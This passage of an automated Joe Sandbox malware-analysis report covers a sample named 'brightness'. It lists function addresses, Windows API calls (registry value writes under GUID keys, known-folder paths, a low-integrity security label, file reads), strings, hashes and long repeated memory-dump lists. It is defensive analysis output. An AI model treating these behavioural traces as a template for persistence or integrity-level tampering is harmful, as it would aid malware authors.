Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __amsg_exit$_fast_error_exit$Initialize__cinit__setenvp__wincmdln
String ID:
API String ID: 1625665298-0
Opcode ID: f7c7b337d3d2b878d44fd7f1abe9ba624e3666871ddfd1ca8ba1c2a2918ebd44
Instruction ID: 12c7a353851456f72cf899efe5afea2da52caf0a2e4ff86d9471629f0f4504f5
Opcode Fuzzy Hash: f7c7b337d3d2b878d44fd7f1abe9ba624e3666871ddfd1ca8ba1c2a2918ebd44
Instruction Fuzzy Hash: FB31F960AF039599DF217B739C4EFAE32646F21790FD0401AF4499E1D3EAB5C4A08F91

Function 002CB510 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 002CB52F
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 002CB547
RegSetValueExW.KERNELBASE(?,{51FF0466-A5FE-46B6-B4FA-11CD69B51486},00000000,00000003,002D4285,0000000C), ref: 002CB568
RegCloseKey.ADVAPI32(?), ref: 002CB576

Strings

{51FF0466-A5FE-46B6-B4FA-11CD69B51486}, xrefs: 002CB55F
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002CB519
SOFTWARE\%s, xrefs: 002CB51E

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseOpenValue__snwprintf
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${51FF0466-A5FE-46B6-B4FA-11CD69B51486}
API String ID: 2100281157-2115523992
Opcode ID: d217d7287423773b56fa19d0211fcd662a82d7b71d8dff67995284d50c700eba
Instruction ID: d7ab5f61959d4516cd49f7f71997f68b3cebc7bd9d815e45a02af82f9270add3
Opcode Fuzzy Hash: d217d7287423773b56fa19d0211fcd662a82d7b71d8dff67995284d50c700eba
Instruction Fuzzy Hash: 80018675764208BBDB15DBB0DC8AFAA736CAB08B40F500558B605A6180D6B2DB1497A0

Function 002CFE20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
__snwprintf.LIBCMT ref: 002CFEDA
CoTaskMemFree.COMBASE(?), ref: 002CFEF5
CoTaskMemFree.COMBASE(?), ref: 002CFF04

Strings

%s\%s\, xrefs: 002CFECC

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeTask$AllocFolderKnownLocalPath__snwprintf
String ID: %s\%s\
API String ID: 1688022371-2168696002
Opcode ID: 080baedc3c79055994da157797ad3760614a07cc14e7a3fcf9b165e7567ee164
Instruction ID: f512955d71d3e5edbd459b8ea5ab0240328a71673b9ff96ebe5b378626e87fea
Opcode Fuzzy Hash: 080baedc3c79055994da157797ad3760614a07cc14e7a3fcf9b165e7567ee164
Instruction Fuzzy Hash: D031FAB5E10209DFCB04DFA4D885EAEBBB5FF48304F148659E905AB340D734AA41CFA4

Function 002CB4A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 002CB4BF
RegGetValueW.KERNELBASE(80000001,?,{51FF0466-A5FE-46B6-B4FA-11CD69B51486},00000008,00000000,002D4257,0000000C), ref: 002CB4EB

Strings

{51FF0466-A5FE-46B6-B4FA-11CD69B51486}, xrefs: 002CB4DA
SOFTWARE\%s, xrefs: 002CB4AE
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002CB4A9

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Value__snwprintf
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${51FF0466-A5FE-46B6-B4FA-11CD69B51486}
API String ID: 3635966236-2115523992
Opcode ID: a88ccea3a8d40f1974e5120285e372efa89a26a47253896301e2d7adde7c0f8c
Instruction ID: 9935514d132749fd6da19816bf5b25c98816670759d24cc12dd4b0c9a31dc760
Opcode Fuzzy Hash: a88ccea3a8d40f1974e5120285e372efa89a26a47253896301e2d7adde7c0f8c
Instruction Fuzzy Hash: 7EF0E57179820CFAE720DAA4DC8BFFA736CAB04B00F504198BA08A71C0E6F19A2557D1

Function 002DC4B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 002DC4E6
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 002DC500
SetNamedSecurityInfoW.ADVAPI32(00000000,00000006,00000010,00000000,00000000,00000000,00000000), ref: 002DC51C

Strings

S:(ML;;NW;;;LW), xrefs: 002DC4E1

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertInfoNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 2602540077-495562761
Opcode ID: 81e71a595623315fc9dbb4fbff19442393354e4e047c94ac8d9a115ab9051b75
Instruction ID: 7bb5e62f6c69c32b077881a002dece69d69aba33735ebe61e3647f62c0b85bb6
Opcode Fuzzy Hash: 81e71a595623315fc9dbb4fbff19442393354e4e047c94ac8d9a115ab9051b75
Instruction Fuzzy Hash: F3015E71A40209ABEB14DFD0DC45FEFB7BCAB04B04F104558F601BA1C0D7B5AA04CBA1

Function 002DC570 Relevance: 6.1, APIs: 4, Instructions: 69
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,002D430B,?,00000000), ref: 002DC58C
LocalAlloc.KERNELBASE(00000040,000000FF,?,002D430B), ref: 002DC5B6
ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 002DC5D7
CloseHandle.KERNELBASE(000000FF), ref: 002DC5ED

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalRead
String ID:
API String ID: 1443864953-0
Opcode ID: 0c94a853ad9334dfcbe7aa4648d249ac8b603299bec3ccd94f123c7ccac991a3
Instruction ID: 6621c2442533a32c1438ea10e00d2cef1557b297b0c76112fa159c1803efafe3
Opcode Fuzzy Hash: 0c94a853ad9334dfcbe7aa4648d249ac8b603299bec3ccd94f123c7ccac991a3
Instruction Fuzzy Hash: D8212C74A51209BFDB14EFE4CC84FAEB378AB84710F309599E215B72C0DA70AE51DB94

Function 04F60A7E Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 020c16509fd668a1056ae9113d21c4c9902cf5e79ea1cb7abbf2e91c47de8f9b
Instruction ID: 78c2d492ab683d7e16e8f631c90b03e26e0d0c6d0819e7c39d94b422d50692a0
Opcode Fuzzy Hash: 020c16509fd668a1056ae9113d21c4c9902cf5e79ea1cb7abbf2e91c47de8f9b
Instruction Fuzzy Hash: 3B11E0E7348214BE4142C2898A449F67B6EE79B335330C166F9078AB92BED02A137122

Function 04F60A67 Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 08a550c5dd2227779f51925e31c5950161fb1074ac014e8fe4c87af23c2025bb
Instruction ID: f3ab110af2b82a411e6ea079b13e5c30c691a4f108983017f48d42869983e897
Opcode Fuzzy Hash: 08a550c5dd2227779f51925e31c5950161fb1074ac014e8fe4c87af23c2025bb
Instruction Fuzzy Hash: 6D11A0E7288214FE5142C1998A409F67A6EE797338330C166B9079AA91BBD42A177162

Function 04F60AD3 Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

